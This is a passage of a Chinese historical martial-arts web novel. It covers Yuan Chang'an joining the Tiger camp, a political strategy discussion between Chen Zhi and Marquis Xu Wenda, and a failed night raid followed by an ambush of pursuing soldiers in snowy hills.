“在下陈治(元长安)参见侯爷。” 该有的礼节不能少,这是陈治教给元长安的。 许文达被温暖的阳光照耀,昏昏欲睡。陈治和元长安见状,只能静心等待。 大概半个时辰的时间,一只飞虫落在许文达的鼻子上。他被痒醒了。 “多智公子陈怀久,本侯听说过你。十岁就能写出《闾阎忧叹》,十二岁便和皇家寺院的慧悟大师,座谈讲经。实乃天之英才。” 对于许文达的客气话,陈治只是一笑了之。 “你是……清风寨的,是吧?”许文达看向陈治身边的元长安道。 元长安眉眼低垂,声音不冷不淡道:“是。” “哦。”许文达没有了下文,谁也不会对从土匪窝出来的女人,应该准确的说女娃,有深刻印象。 忽然,一阵冷风吹过,从戏台底下冲出来一个蒙面黑衣人,手握长剑,直刺许文达。 元长安先是看向陈治,见他朝自己点头同意,既然没有问题,她也就不再收着。立马抽出长生枪,拦在那个黑衣人的面前。 陈治从那个黑衣人冲出来的时候,就注意到许文达丝毫没有惊慌,更重要的是,他好像从他的表情看出了一丝试探。 思即此,陈治就想清楚了这就是一场,闹剧。 而他和元长安,就是这场闹剧之中,迟来的主角儿。 “侯爷,您的试探手段,有些低劣。”陈治看着与黑衣人缠斗的元长安,对许文达道。 而许文达正端着茶碗,慢悠悠地品茶。轻抿一口,然后道:“何以看来这是本侯对你们二人的试探?” “从我们进来到现在,没有看到一个侍卫。试问,侯爷在京畿也算是一号人物。府中怎么可能没有侍卫巡逻?” 陈治缓缓地说,许文达静静地听,元长安狠狠地打。 “不过,在下看府中下人,各个身板硬朗,步态稳重,一看就是练武之辈。还有就是,”陈治目光落在许文达的脸上,他的眼神就像狐狸那般狡黠,“黑衣人冲出来的时候,侯爷一个眼神,那些府中的下人倒是退下的很快。” 除了欣赏,许文达没有其他想法,“不愧是多智公子,这般观察着实让人佩服。放心,余耀会手下留情的。” 然而,陈治眉尾一挑,嗓音温润:“或许,您该担心的人,是余耀。” “什么?” 20.铁三角重逢 许文达话音刚落地,余耀就被元长安一脚踹到了他面前。 陈治嘴角的笑意都快挂不住了,略带笑音和宠溺道:“长安,这里是侯府,不得放肆。” 元长安只好收起枪,然后别在后腰,“多少天没见,怎么变得这么不堪一击?”她通过余耀的招数,认出来了他。 余耀是争强好胜的性子,被她这么一激,立刻爬起来想要继续打,“我们再来,这一次我肯定不会手下留情!” “余耀!”许文达面子被拂,轻声喝道:“你带她去瞿正清的虎行营,最近他正嚷嚷着没兵可用。” 余耀听出许文达有些生气,只得作罢,虽然心里不服气,但是听到元长安归到瞿正清那个老匹夫麾下,心情有些好转道:“那你跟我来。” “长安!” 这个声音,元长安要是没听错的话,是…… “崔涯!” 二人又惊又喜,根本没想到竟然还能有重逢的一天。元长安眼眶红润,声音有些沙哑:“你怎么在这里?” 崔涯却已经是泪流满面,抽泣道:“赵老三当了叛徒,给郑吉的大军开了寨门,里应外合。当时寨子里的人都在睡觉,根本就没有防备。后来我被他们的一个将领活捉,关在柴房里。不过奇怪的是,当我杀了赵老三准备逃走的时候,就有一个人站在窗户外面,指引我到这里来。” 元长安觉得,能活着就好,“你肯定不知道,沈让也还活着。他现在在天福医馆养伤,清棠阿姐和他在一起。你要是有时间,可以先去找他们,好好安排。” 听到沈让也还活着,崔涯再次喜极而泣:“咱们仨终于又能在一起了。” “行了行了,我还有事儿,等会儿再聚。”元长安拍了拍他的肩膀,和陈治一起,跟着余耀离开这个。 离开的那一刻,一名身穿道袍,手拿拂尘,续着山羊胡的瘦弱老头,带着一位抱着看起来六个月大的幼童的贵妇人,与元长安他们三人擦肩而过。 元长安回头看向他们,正好与那幼童对视,小孩对着她笑,让她心中瞬间柔软。与此同时,那名道长也看向了她。当元长安收回落在小孩身上的视线时,不经意与道长四目相对。 她读懂了那名道长的唇语:“命途偃蹇,寿则不永。” 许文达将陈治留下来,不仅仅单纯的因为欣赏他,更重要的是,他需要制衡。 “妾身携世子,参见侯爷。” “贫道敬幽子,参见侯爷。” 许文达捏了捏眉心,“陈治,你先去前堂等着本侯。” 陈治眉毛一挑,嘴唇一抿,点头退下。 陈治离开之后,许文达对敬幽子道:“敬幽子,小世子,本侯就交给你了。” 最近这段时间,他感觉身体越来越不适,看了大夫也没有诊出来什么问题。后来,碰到了敬幽子,他才有所好转。 敬幽子一甩拂尘,“侯爷放心,贫道一定会照顾好世子。您身蕴龙威,世子初承幼麟之瑞。双龙相逢,诚为祥兆。然幼麟未臻成龙之境,不宜与尊龙共栖,恐龙气交汇,反致逆鳞之虞。岘山的气运,能暂时压住世子身上的幼龙之气,可保侯爷与世子无忧。” 许夫人抱着小世子依依不舍,看向许文达的眼神,写满了祈求,“侯爷……” 许文达从许夫人怀里抱过小世子,低头逗着他玩儿。其实,他也舍不得将这个,好不容易得到的嫡长子送出去。 “侯爷,妾身愿意陪带晏儿一同上岘山。”许夫人跪在地上,痛哭流涕,“清儿还小,离不开妾身。” 许文达与许夫人少年夫妻,风风雨雨走过不少年。原先,因为他志在天下,所以许夫人为他操劳多年以至于多年未有生育。也正因为愧疚,在许夫人未怀孕之前,家中妾室也都不得有孕。 现在,好不容易十月怀胎生下来一个儿子,竟然因为龙气交汇而分离,着实残忍。 许文达将小世子交到敬幽子的手上,然后自己扶起许夫人,拍了拍她的手:“夫人,晏儿只是去了岘山,你若得空自是可以去看他。而且川儿还寄养在你的名下,你当费心照料。” 许夫人靠在许文达的胸前,看着敬幽子抱着自己的孩子,泣不成声:“侯爷,晏儿他还小,妾身真的放心不下。” “夫人,本侯答应你,待现在的局势平定之后,和你一起上岘山去看晏儿。”许文达话就像一粒定心丸,让许夫人稍显安心。 不过,许夫人低头抽泣的时候,没有人注意到她的眼中没了悲痛,而是满满的算计。当她再次抬起头看向许文达,眼睛里的不舍都要溢出来了。 许文达也是心痛不已,对许夫人和许晏清母“子”,更是多了一份愧疚。 ----------------- 元长安跟着余耀去了县城西边的军营。 高耸的木栅栏围成了一个方正的营地,四周设有瞭望塔,哨兵们目不转睛地监视着远方,以防任何不测。 进入军营大门,迎面而来的是一条宽阔笔直的主道,两旁排列着整齐划一的营房。这些营房多为简朴的木质结构,屋顶覆盖着厚重的茅草或瓦片,虽简单却结实耐用。 不过现在屋顶之上,还残留着积雪。 每间营房都留有通风透气的小窗,确保士兵们居住的舒适。 主道尽头是一处宽阔的校场,而此时的校场上已经热闹非凡。数百名身穿铠甲、手持长矛或刀剑的士兵,在教头的带领下进行着严格的操练。喊杀声、兵器碰撞声此起彼伏,显现出一股热血沸腾的气势。 “余耀,你小子什么情况?竟然带女人来军营,是不是你们卫都尉又要给我们将军找茬?”司马李文杰刚从校场过来,赤着上身,古铜色的皮肤上,汗水淋淋。 李文杰原以为来的这小姑娘会害羞,却不知,人家根本看都不看一眼。 余耀不给他废话,直接将许文达的意思说出来:“侯爷听说,瞿将军无兵可用,就让她来你们的虎行营。”他话刚说完就瞧见听到他说话的人,个个都用不屑的眼神看他们。他气不打一处来,“你们别小看了她,说不定你们整个虎行营,没几个人能打得过她。” 一听这话,立马就有人不服了。 “我说余耀,你这变着法儿损人的德行,是不是跟你们卫都尉学的?”一个士兵虽然没有直接说瞧不起元长安,但是他的言语和态度,谁都能看出来。 元长安不是个喜欢说废话的主儿,从腰间抽出长生枪,“那就打一架,看看实力。” “爽快!”李文杰很赞赏这种直爽的性子,对那个士兵示意道:“你先上,记住别下死手,玩玩得了。” 那个士兵嗤笑一声:“放心吧李司马,卑职一定会手下留情的。” 元长安按动机关,一瞬间枪身变得修长,枪尖在阳光下闪烁着寒光。就□□变长枪的一瞬间,直接惊呆了观战的众人,尤其是李文杰。 她的对面士兵,手握环首刀,刀刃宽阔,刀柄上缠绕着粗犷的绳索,显得格外有力。 随着一声令下,比试正式开始。那名士兵率先发起进攻,他脚步稳健,迅速逼近元长安,环首刀划出一道凌厉的弧线,直取对方胸膛。然而,元长安却仿佛早有预料,她身形微侧,轻巧地避开了这一击,同时手中的长生枪轻轻一挑,目标是士兵的手腕。而那个士兵反应迅速,直接收手,躲过一击。 随后,那个士兵利用长枪的长度劣势进行迂回攻击,并且通过频繁的左右移动和跳跃,让元长安难以准确预判他的下一步动作。 就在元长安稍显急躁之际,士兵抓住了机会。他猛地一个前扑,几乎贴着地面滚动到了元长安的身旁。元长安见状,立刻将长枪横扫,企图逼退士兵。但士兵已经预料到这一步,他迅速起身,环首刀向上一挑,正好击中枪杆,使得长枪偏离了方向。紧接着,士兵一个箭步上前,刀尖直指元长安的肋下。 元长安反应迅速,她立即收回枪杆,同时身体一侧,险险避开这一击。两人再次拉开了距离,士兵趁机喘息,而元长安却在脑海中回忆他的招式。 只见元长安一个虚晃,引得士兵重心前倾,紧接着,她猛地向前一步,长枪如同闪电般刺出,正中士兵的刀背。这一击虽未伤及身体,却让士兵手中的环首刀几乎脱手而出。士兵急忙后退几步,稳住身形,心里却方寸大乱。 士兵深吸一口气,再次提刀冲向元长安,这次他使出了全身的力气,这一点足够看出他的不理智和冲动。而元长安只是长枪轻轻一转,枪尖正对着那个士兵的脖子,但凡他往前一点点,元长安的长生枪就要了他的命。 随后元长安用枪尖左右来回击打那个士兵的一双手腕,士兵感到手腕一痛,手一松,环首刀掉在了地上。它发出清脆的声音,宣告比试结束。 “好!”站在将军帐前的瞿正清从他们开始比试,看到结束。对于元长安,他十分满意,于是鼓掌大喊道:“好武艺!” 众人听到瞿正清的声音,吓得大气也不敢喘,毕竟在军营,除了校场,在其他地方打架比试,都是违反军纪。尤其是刚才与元长安比试的士兵,不仅没打过自己看不起的人,还被将军抓了一个正着。他心里怒骂:怎么这么倒霉! 然而,瞿正清现在的注意力都在元长安的身上。他快步走到元长安的面前,忽视想要介绍的余耀,语气难言欣喜:“小姑娘,你叫什么名字?练武多久了?你也跟本将军过两招,说不定本将军还能指点你呢。” 余耀第一次见如此热情奔放的瞿正清,毕竟在他的印象里,瞿正清就是一个老匹夫。眼里只有打啊杀啊的,别的事情一问三不知,也不懂什么人情世故。看谁不顺眼,上去就是给人家一顿揍。 元长安收起长生枪,可就是这一收,又给瞿正清惊住了。他瞪大了双眼,难以置信道:“你的枪?还能变短?” 对于自己这把枪的改造,元长安是特别的喜欢。于是,她就给瞿正清掩饰了一下,自己的长生枪如何变长又如何变短。 不得不说,陈治的这个设计,真的正中很多人的心,尤其是练武打仗的。 “姑娘,你这枪是哪位高人设计的?可否引荐给本将军?本将军愿意出双倍价钱,请他也给本将军的虎矢霸王戟整改一下。”瞿正清眼神诚恳且带着些许讨好。 元长安收起长生枪,神情得意:“这把枪的整改,可是独一无二的。” 瞿正清还想要争取一下,毕竟这种可以伸缩的长杆,真的很吸引人。但是,一旁的余耀重重地咳嗽了几声,将他拉回正事。 “将军,她叫元长安,是侯爷吩咐让她在你麾下效力。”余耀再次说明了来意。 不过这次,没有敌意,只有瞿正清的如愿以偿。“好的很呢,长安,以后就把虎行营当成自己家。我们营最看重的就是实力,以后就清楚了。来来来,跟本将军过两手,这两天正闲得慌。” 就这样,元长安被瞿正清拉着过了几招。 “可以啊长安,没想到你看起来岁数不大,竟然能撑过本将军三个回合。不错,是个好苗子,以后就跟着本将军,本将军亲自指点你一番。”瞿正清豪爽大气道。 元长安也不知道该说什么,就只能连连点头。 余耀见元长安这么快就和虎行营的人打成一片,不禁感慨,果然出来混是要看实力的。 ----------------- 陈治和许文达在正堂,对比着大晋九州六十六郡的地图,讨论着现在的局势走向。 “现在京畿及其以南的局势,变化莫测。比如临安王,现在更准确的来说,是南晋皇帝。他盘踞渭州,与云州的永王、齐王相互掣肘。根据线人来报,渭州最近不太平,渭州徐水郡燕山军将领聂鸿生,势力扩张十分迅速,攻下上饶、太清两郡,直指临安。他更是向世人表示,不承认南晋皇帝。” “聂鸿生这个人,是个能人。带着三百族人,先是跟着梁仲,后来梁仲与周沪生结盟,他就带着弟兄们叛逃,跟了常山王。只可惜,常山王不识人,让他再次选择逃离。最后在徐水郡,直接杀了当时的燕山军头领杨开强,坐上了他的位置,成了一方势力。不得不说,他也算得上枭雄。”对于聂鸿生的事迹,陈治还是听说过一些,他对聂鸿生,还算有一点欣赏。 许文达亦有同感:“聂鸿生确实是个人杰,他作战骁勇,常山王很看重他,还将自己的女儿许配给他。只可惜,常山王世子心胸狭隘,妒贤嫉能。常山王又是个拎不清的,让他一气之下,带着自己的兵营弟兄,逃离常山郡。也因此,还将常山王之女,一朝郡主贬为妾室。” “不过,前段时间,聂鸿生遭遇梁仲伏击,兵败青翠谷,还丢了三里、上坪等四县,也算是元气大伤。若侯爷意在徐水,可与梁仲联手,同马绍宗速攻常山,合围徐水。” 陈治或许对一些看法稍显幼稚,许文达今日有闲心,就对他多说了两句:“如果真想你说的那么简单,本侯也就不至于不敢让薛长鸣南下。若真如你所说,快速攻下常山郡,与马绍宗还有梁仲围攻徐水。 到那个时候,恒王与京都一定会和解,并且直取厉阳。于此同时,东莱的昱王也势必会加入其中。 你看,恒王势力从少陵扩展到秦州的武阳、白柳和清泽三个郡。而昱王虽然是八王之中,最不惹人注意的。可他割据的平州东莱和南阳二郡,处在厉阳和常山外围,这不得不防。 有一件事,你还不知道。桂阳势力分为两派,一派是梁仲所代表的反晋军,为主战派。另一派是以太守周沪生为首的大晋官员,为主和派。 一旦周沪生得到决定权,那我和马绍宗,就是他们瓮中捉的那只鳖。” 最后的半句话虽然有些好笑,但确实不无道理。陈治明白自己想的过于简单,他表示:“是在下经验不足,还是需要历练。” “你还年轻,要学的东西还很多。”许文达很欣赏陈治这种谦虚认学的态度,就忍不住又多说了几句:“不仅京都及以南地区如此,北方局势更加动荡。北方异族,如北狄侵占我定州五郡,整个定州都成了北狄人的天下。还有,上番占领了沧州的齐 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万续元年之杪,上番寇边,侵万新郡。北狄亦乘隙而动,袭取建宁。尤太后诏令尤秉华班师返京,并命摄政王郑枫与大将军秦平,率甲士六万,以御上番。若上番克万新,则京都危矣。 尤秉华归京之时,摄政王不在禁中。恒王乘胜急进,陷临安,距京畿仅咫尺之遥。马绍宗与许文达见机行事,休兵止戈。而聂鸿生则率大军主力西向,攻桂阳,大捷。遂据桂阳之太平、石青、上苑、安源四邑,围上行三面,控渭州半壁江山与兵马。 封地云州之永王郑祺与齐王郑万昌,趁渭州内讧,东进侵扰。南晋帝郑言遣大将孙健、校尉范文领兵四万,以阻永、齐二王之“趁火打劫”。 北有异族蚕食大晋之疆,南有藩王再起内讧。此新春之际,恐难安宁矣。 ----------------- 今年的春节,元长安的身边不仅有沈让和崔涯,也多了陈治和沈清棠。可是,也同样少了很多人。 “你以前最不喜欢跟我们一起过节,都是一个人在屋顶上、树杈上待着。今年这是怎么了?太阳从西边出来了?竟然主动提起明天晚上的除夕夜怎么过。”沈让调侃道。 元长安席地而坐:“以前是不缺热闹,所以不喜欢。现在我才知道,这年呢,是过一次少一次。” 崔涯拍了拍她的肩膀,“我发现了一个馆子,特别好吃。”想到元长安的毛病,他顿了顿道:“它那儿有一种酒,叫什么芙蓉醉,贼上头,口味还冲。去不去?” “去!”沈让想都没想就答应了,“那必须得去,咱仨好不容易又能在一块了,本来就该好好吃一顿。之前没时间,今天晚上必须补上” 元长安一拍大腿,道:“到时候,把陈怀久和清棠阿姐一起喊上。” “这个主意不错!” 三人又聊了一会儿,就听见: “沈让,于校尉喊你。” “崔涯,李司马找你。” 沈让:“知道了,这就来。” 崔涯:“来了。” 沈让和崔涯离开之后,校场就剩下一些零零散散训练的小兵和她了。 他们三人分别在不同人的麾下,不过元长安有实力,直接被瞿将军看重,专门培养。 而且,瞿正清还专门在军营里给元长安行了很多方便。单人的营帐、单人的茅房…… ----------------- 郑吉攻下临安,却不急着北上,一直在临安与厉阳交界之地大观岭巡视。表面巡视,实则试探。一旦郑吉过了大观岭,那么,厉阳边界的县乡必定沦陷,领土必定缺失。 许文达不能退让。 于磊都觉得实在晦气,搓着手跺着脚,试图能暖和一点:“同样是个官儿,凭什么他老卫在营帐里吃香的喝辣的,咱们就冒着这冷天守着不知道会不会出现的恒王霄红营。老子真的是服气了!” 沈让和他的脾气相近,这会儿直接被冻的没有了火气,“咱们抓紧时间,速战速决。” “再速战速决,也得看到人影啊。你看着荒郊野岭的,别说人了,连草都不长。”于磊朝地上吐了一口唾沫,“真他娘的晦气。” 沈让强忍着打喷嚏的冲动,最后还是没忍住,赶忙用手捂着嘴,硬生生给憋回来了。 “你看,这鬼差事,连打喷嚏都不行。”说着,于磊也来了感觉,和沈让一样,捂着嘴硬给憋回去。 沈让见状,想笑又不敢笑,只能憋着。 于磊生气但也不想失了身份面子,于是轻声呵斥道:“笑什么笑,赶紧到后面看看,让弟兄们瞪大了眼睛,屎尿屁还有喷嚏,都给老子憋着!” 沈让连连称是,悄摸摸地穿梭来穿梭去,低声吩咐道:“校尉有令,眼睛瞪大点,尽量别出事!” 这边沈让刚回到原位,就听到了马蹄的声音。 “嘘,”于磊一抬手,示意所有人禁言,“有人来了。” 所有人都全神贯注,手里紧握兵器,等待着猎物的出现。 于此同时,瞿正清带着元长安还有几十人马,绕过大观岭,快马疾驰。 在路上,元长安还不明白瞿正清的意思,想问又不知道该怎么问。 瞿正清看她欲言又止的样子,放慢了速度,与元长安持平。他道:“长安,打仗最重要的,就是快!你就跟着我,听我指挥,今日这一偷袭,够你学一辈子了。” 元长安没有理会瞿正清的狂傲,她听明白了,原来是要搞偷袭。 快马加鞭,一柱香的时间,瞿正清率领着元长安和数十名精锐骑兵悄无声息地绕到了霄红营的侧后方。 营内除了几个红甲兵在来回巡逻,周围一片寂静。瞿正清一眼就瞅准,现在营内的兵力不足,怕是已经前往大观岭。真是上天眷顾,这么好的机会,傻子才会放过。 “长安,你可跟紧了,别到时候我们撤了你被留在霄红营。” 话落,就是一声调侃的笑声。 元长安抽出长生枪,“谁被留下还不一定呢。” “好小子……”瞿正清刚说完就反应过来,“好姑…姑娘。”不知道为什么,总感觉这句话有些奇怪。 索性不再想这个问题,瞿正清点燃火把,低声道:“准备!” 瞿正清一声令下,众人相继点燃火把,蓄势待发。 “冲!” 然而,当他们踏入营地之时,巡逻的小兵莫名其妙地不见了,迎接他们的却是一片寂静——这寂静中隐含着不祥的气息。 突然间,无数的箭矢从四面八方射来,仿佛天空降下的死亡之雨。 原来,严峰早已算准了会有人偷袭,早早布下了埋伏,等待着瞿正清的人马到来。 瞿正清立刻下令撤退,但敌人显然有备而来,攻势猛烈,许多士兵和马匹倒在了这突如其来的攻击之下。 “干他娘的!老子竟然失算了!严峰,你这小人!”瞿正清一边抵挡飞来的箭,一边破口大骂严峰的老娘。 但是严峰根本就不把他放在眼里。毕竟,对于落入陷阱里的猎物,那就是他的掌中之物。 21.追兵全覆没 敌军的数量远超预期,形势急转直下。就在这生死攸关之际,元长安没有丝毫犹豫,长生枪在她手中仿佛有了生命一般,化作一道银色闪电,在敌人之间穿梭自如。每一次挥动都伴随着血花飞溅,每一击都能精准无误地找到对手破绽所在。 “跟上我!”元长安大喝一声,声音穿透战场上的嘈杂。她不仅保护在瞿正清的身边,还不断寻找机会反击,试图打开一条逃生之路。 面对重重围困,瞿正清看到了元长安展现出的惊人战斗力和冷静判断力,即便是在一对十的情况下也毫不畏惧。 欣赏,一种自豪的欣赏。 严峰见突然出现的女娃,护在瞿正清的身边,心中恼火。一把夺过身边小兵的弓箭,搭弓瞄准了瞿正清。 只听见“嗖”的一声,利箭瞄准了瞿正清,朝着他飞去。眼看就要命中目标,元长安眼疾手快,用长枪用力一拨,改变了箭矢的方向,救下了他。 “干!”严峰见被人截了胡,朝地上吐了一口唾沫,“给本将军上!抓活的!” “上!” 随着箭矢的攻势逐渐减弱,霄红营的士兵们开始从掩体后方涌出,手中紧握着长矛、刀剑等。阳光下的金属反射出刺眼的光芒,伴随着震耳欲聋的呐喊声。 瞿正清见状立刻调整策略,很明显严峰对今日一战,势在必得。即使他们有以一敌十之勇,但红甲兵人数是他们好几倍,他们难以长久支撑。 只见他迅速指挥身边的骑兵形成紧密的小队,利用马匹的速度优势,在敌军间快速穿插,试图打破对方的包围圈。而他自己则身先士卒,手握长剑,将靠近的敌人一一斩落马下。 “保持阵型!” 瞿正清刚喊完,只见一名敌军将领手持双刃斧头,咆哮着向瞿正清冲来。元长安眼疾手快,长枪如同一道闪电,直接贯穿了那名将领的胸膛,将其击飞数米远。伴随着一声闷响,对方应声倒地,鲜血染红了地面。 元长安护在瞿正清的身边,“将军,您可要当心了!” “好小子!”瞿正清正杀的起劲,突然被元长安救下一条命,他现在恨不得拍拍他的肩膀,然后赞叹一句:“不愧是我的兵。” “将军快走!”元长安带着瞿正清等人杀到了包围圈的边缘,她回头喊道,同时用长枪扫倒了几名企图靠近的敌人。 瞿正清点了点头,带领剩余的士兵继续向前冲杀。然而,更多的敌人涌了上来,形势愈发危急。 元长安的长枪如同旋风一般横扫四周,将靠近的敌人全部打翻在地,为瞿正清等人争取到了宝贵的喘息时间。 正当战况胶着之时,瞿正清发现一处地形较为复杂的地方——那里有一处陡峭的小丘。他立刻对元长安道:“长安,去那边。” 元长安双手持枪,左右挥舞长生枪,同时击退了两侧的敌人,为队伍开辟了一条安全通道。 “将军,你赶紧走,我来断后!” 瞿正清不是多愁善感的人,可是此刻他竟然有些犹豫,也仅仅是一刹那。他道:“等回营,本将军请你喝好酒!”元长安和其他几个人留下来断后,他自己带着仅剩下的几个人朝着那处陡峭的小丘而去。 “给我追!”严峰见瞿正清逃走,将手中的弓箭丢在地上,“老子要将瞿正清千刀万剐!你们赶紧去追!” 然而,去追赶的那些人被元长安等人拦下。她穿梭于敌军之间,连续刺击和扫击,让敌人无法形成有效的合围,从而为瞿正清他们打开了一条逃生之路。 严峰见瞿正清身边那个刷枪的丫头,是个好苗子。既然没有抓到瞿正清,活捉一个好苗子也不是不可以。 “抓住那个刷枪的丫头!其他人,一个不留!” 元长安朝着他轻蔑一笑:“想抓小爷的人,还没出生呢!” 然而,敌人的数量实在太多,即便元长安再怎么英勇,也无法阻挡所有的攻击。身边的士兵一个个倒下,形势变得越来越危急。 就在这时,一名士兵眼看着就要被敌人的长矛刺中。元长安身手敏捷,一招“回马枪”反手刺中了那个敌人,救下了同伴。 王耀祖被元长安救下的刹那,看向她的眼神,带着深深的感激与敬畏。 虽然元长安身上受了不少伤,但她声音嘹亮,“跟着我,我带你们冲出去!”仅剩下的两个人加上王耀祖,被她的气势所鼓舞,尤其是王耀祖拼了命一样,紧跟着元长安,向前冲进。 就在他们即将突破重围之际,一名敌军弓箭手瞄准了元长安,一支利箭呼啸而来。元长安敏锐地察觉到危险,迅速侧身躲避,但箭矢还是擦过她的肩膀,留下了一道深深的伤口。 “嘶~”元长安痛呼一声,但并未停下脚步。她咬紧牙关,用长枪支撑着身体,继续向前冲锋。 王耀祖注意到元长安身上的伤,担忧道:“你受伤了。” 元长安一边跑一边回道:“别管,赶紧跑。身上的这些伤,小爷我早晚报这仇!” “追!都给老子追!”严峰本以为稳操胜劵的局势,竟然会是这么个结果。他暴跳如雷,冲着身边的红甲兵,破口大骂。那语速,比瞿正清更甚。 ----------------- 于磊没有捞到什么大鱼,倒是折进去不少弟兄。他心里郁闷,在回去的路上,马鞭都快被他捏碎了。 “真他娘的晦气,西北风喝了不少,最后啥也没捞着,白白搭进去几个弟兄。” 而沈让心里想的却是,早点回去,去见沈清棠,将自己摘的绮罗花送给她。 于磊不经意间地一瞥,看到了沈让小心翼翼护在怀里的绮罗花。本就心情不爽的他,不悦道:“就一破花,有什么好护着的。不知道的,还以为是什么宝贝呢。” 沈让也不生气,乐呵呵道:“既然出来一趟,总得带点东西回去。” 不提还好,一提于磊就生气:“你有这闲功夫,不妨拐回去多杀几个。” 可惜沈让现在的心,都在绮罗花上。因为前些日子,沈清棠念叨着用它制药。 回到军营,于磊还在骂骂咧咧,谁来搭话都会被他喷的狗血淋头。但是沈让像是没听见似的,小心翼翼地护着绮罗花,在军医营帐内,找到了她。 “清棠,给你看个好东西。”沈让像献宝一样,将绮罗花捧在身前,眼神亮晶晶的,倒映着沈清棠倩丽的身影。 沈清棠看到绮罗的瞬间,先是面部舒展,眼睛瞪得很大。接过绮罗花,她细细端详片刻,确认自己没有看错之后,她的眉头突然皱起,问道:“你是从什么地方得来的?” 沈让用手指轻轻挠了挠头,解释道:“我跟着于校尉去了大观岭,那个地方其他花草树木都死了,只有这一种花还开着。我之前在你那里,看到过这种花的图,就记下了。” 沈清棠认真地给他讲解着绮罗花的用途:“这花的种子治风寒特别有效,等我配制好之后,你带一些在身上,说不定有用。” “好。”沈让根本就没有听清楚沈清棠在说什么,他的眼里只有她纤细修长的手指,娇艳欲滴的红唇,看得他吞咽了好几次唾沫。不过,他也知道点头答应准没错。 沈清棠怎会看不出沈让眼中的情欲波澜,只是她尚且还不明白自己的内心。 “对了,明天晚上我、崔涯和元长安,到时候再喊上陈治,一起去罗平食肆吃饭。你,要不要一起过来?” 沈让的心思都写在了脸上,沈清棠看着绮罗花的份上,也不好拒绝。可是,她手上还有不少活计,再加上老军医宗康师父,不是个好相与的。若不是自己在医术上,有些根基,而军营又是急缺大夫的时候。她一个女人,怕是入不了宗康的眼。 “等我忙完,就会去找你们。”沈清棠说的保底,也给自己留了退路。如果没能去,就是手头上的活儿,还没有忙完。 但是沈让却认为,沈清棠是直接答应了。他兴高采烈道:“明天我来带你一起过去。”说罢,不给沈清棠辩解道机会,一溜烟儿,就没有了身影。 沈清棠无奈地摇了摇头,只能抓紧时间将手头的事情忙完。 ----------------- 小山道蜿蜒曲折,沿着山坡缓缓上升,时而陡峭,时而平缓。路面上覆盖着厚厚的积雪,使得行走变得异常艰难,而积雪下的石块和碎石更是增加了滑倒的风险。 道路两旁是陡峭的山坡,这些山坡上覆盖着白雪皑皑的树木和灌木丛,形成了天然的屏障。树枝上挂满了冰柱,偶尔会有积雪从树梢落下。 山坡上的植被被冰雪覆盖,松树、柏树和其他常绿树木在雪中显得格外苍翠。低矮的灌木丛如杜鹃花、荆棘等也被雪覆盖。道路上散布着许多大石头,有的高耸如墙,有的则隐藏在雪堆中。 元长安带着王耀祖,七拐八转地,在小山道上绕来绕去。某些路段非常狭窄,仅容一人通过。这些狭窄处通常位于两块巨石之间,或是被树木和灌木丛夹击的地方。积雪使得这些通道更加难以通行。 最终王耀祖被转得晕头转向,再加上路况艰难,很快就没有了力气。 “怎么坐下了?赶紧起来,小心追兵追上来。”元长安张望着四周,催促道。 王耀祖扶着枯树,颤颤巍巍地站了起来,他感觉浑身上下使不出力气。于是,憋红了脸,道:“我…我…没力气了。” 元长安没想到他竟然比陈怀久还虚弱。不对,是比陈怀久好一点。毕竟,他刚刚从霄红营的重重包围中,冲了出来。负责断后的七八个人,最后只活下来了他们两个。 不得不说,这个王耀祖是个命大的。 元长安背靠着一棵大树干,将长生枪立在身侧,稳住身体。趁着王耀祖喘息缓神的功夫,她已经将周围的环境看得很明白了。 由于树木的遮挡,小山道上的光线变化频繁,时明时暗。阳光透过树梢斑驳地洒在地上,形成了光与影的交错。积雪反射的阳光使得视线更加刺眼,增加了视觉上的干扰。而且,道路上散落着一些自然障碍物,如倒下的树干、堆积的落叶、枯枝等。 “要不要,干一票大的?” 王耀祖一愣,皱起的眉头代表着他的不解。 “你看最上面那块大石头,”元长安用长生枪的枪尖指向高处的一处石头山,“那个地方不仅能更好地观察下方的情况,而且石头堆成堆儿,树也不少。这里的周围环境对我们很有利,非常适合埋伏。不过,我们两个必须相互配合。” 然而王耀祖虽然不理解她为什么胆子会那么大,但是对于救命恩人的要求,他是不会拒绝的。 元长安从腰间拿出一卷绳索,和王耀祖一起,熟练地用绳索绑好绊马索,并用树枝和雪进行了伪装。她还在几个关键位置放置了一些棱角尖锐的小石块,同样进行了伪装,使其不易被发现。 “等追兵追上之后,你等我信号。只要我这边一有动静,你就把那些较大的石头推到这边来,顺便再砍几棵树,往这边滚。听明白了没有?” 王耀祖听得连连点头,“听明白了。” “听明白了还不快去?”元长安盯着他,反问道。 王耀祖后知后觉地跑向石头山,中间还崴了一下脚。元长安的白眼都要翻上天了,要不是还有陷阱要抓紧时间布置,她真的想一枪把他捅在那大石头上。 “哒哒哒——” 马蹄声越来越近,越来越近。元长安故意发出一点声响,吸引他们的注意力。那些追兵果然加快了步伐,直奔元长安的方向。当他们越过第一棵树的时候,元长安一拉垂在半空的绳子,几名冲在前面的官兵踩到了绊马索,顿时失去了平衡,摔倒在地。后面的官兵被突如其来的变故吓了一跳,队伍出现了短暂的混乱。 元长安没有逗留,直接沿着预先规划好的路线方向跑去。 一名的红甲兵将领,看到元长安的身影,顾不得马蹄之下的绊马索。他扯着嗓子大喊道:“她在那里!给我追!” 紧接着,王耀祖推下了几块大石头,砸向正在追赶的官兵。同时,他还砍倒了几棵树,让它们滚落下去,制造更多的混乱。积雪和冰柱增加了滚木的威力,使敌人难以躲避。 巨石如同失控的野兽,无情地冲向了密集的人群。士兵们惊恐万状,有的试图躲避,但狭小的空间让他们无处可逃;有的则被突如其来的冲击力撞得东倒西歪。树木横扫过人群,枝条像鞭子一样抽打在盔甲和□□上,追兵发出痛苦的哀嚎声。尘土飞扬间,哀嚎与呼救此起彼伏,整个队伍顿时陷入了混乱之中。 随着惊慌失措的马蹄声,许多士兵不慎摔倒在那片铺面尖锐石子的地面上。 每一次跌倒都伴随着痛苦的呻吟。 士兵们的身体重重地撞击到那些锋利的石子上,瞬间便能感受到皮肤被划破、肌肉受到挤压所带来的剧烈痛楚。一些人幸运地只是擦伤了手肘或膝盖,鲜血从伤口处缓缓渗出;但更多不幸者则遭遇了更严重的伤害——有的腿部直接撞上了突出的石子棱角,骨头发出清脆的断裂声;有的背部着地时正好压在了一块特别尖锐的石头上,导致脊椎受损,他们躺在地上无法动弹,脸上露出痛苦不堪的表情。 红甲兵将领惊慌之余,急忙部署,还不忘寻找撤退之路。直到看到元长安逃离的那条小道,“弟兄们,跟着我!” 